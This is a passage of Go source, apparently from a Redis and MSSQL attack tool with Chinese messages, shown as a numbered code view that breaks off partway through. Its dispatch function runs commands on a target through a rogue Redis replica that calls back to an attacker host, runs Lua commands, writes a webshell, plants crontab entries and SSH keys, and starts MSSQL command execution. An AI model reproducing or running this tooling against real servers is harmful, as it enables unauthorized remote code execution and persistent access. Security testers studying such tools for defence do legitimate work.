()
| 159 | } |
| 160 | |
| 161 | func Help() { |
| 162 | flag.Parse() |
| 163 | if Redis { |
| 164 | err := RedisClient(PWD) |
| 165 | if err != nil { |
| 166 | if strings.Contains(err.Error(), "context deadline exceeded") { |
| 167 | Info("Redis 连接超时") |
| 168 | } |
| 169 | if strings.Contains(err.Error(), "NOAUTH Authentication required.") { |
| 170 | Info("Redis 需要密码认证") |
| 171 | } |
| 172 | if strings.Contains(err.Error(), "ERR invalid password") { |
| 173 | Info("Redis 认证密码错误!") |
| 174 | } |
| 175 | return |
| 176 | } |
| 177 | switch { |
| 178 | case exec: |
| 179 | if Lhost == "" { |
| 180 | Info("缺少Lhost参数") |
| 181 | } |
| 182 | if console { |
| 183 | RedisSlave() |
| 184 | loopCmd("exec") |
| 185 | } else { |
| 186 | RedisSlave() |
| 187 | RunCmd(CMD) |
| 188 | CloseSlave("exec") |
| 189 | } |
| 190 | case dump_: |
| 191 | handle_export() |
| 192 | case import_: |
| 193 | handle_import() |
| 194 | case cli: |
| 195 | loopRedis() |
| 196 | case shell: |
| 197 | echo("getshell", "./shell.txt") |
| 198 | case crontab: |
| 199 | echo("crontab", "./crontab.txt") |
| 200 | case sshkey: |
| 201 | echo("ssh", "./ssh.txt") |
| 202 | case lua: |
| 203 | if console { |
| 204 | loopCmd("lua") |
| 205 | } else { |
| 206 | if CMD == "" { |
| 207 | Info("缺少 cmd 参数, 无法执行命令哦") |
| 208 | return |
| 209 | } |
| 210 | RedisLua(CMD) |
| 211 | } |
| 212 | } |
| 213 | } else if MSsql { |
| 214 | _, conn, _ := MssqlConnect(Rhost, Rport, Ruser, PWD) |
| 215 | MssqlCMD("select @@version;", conn) |
| 216 | Success("连接成功!") |
| 217 | switch { |
| 218 | case cli: |
no test coverage detected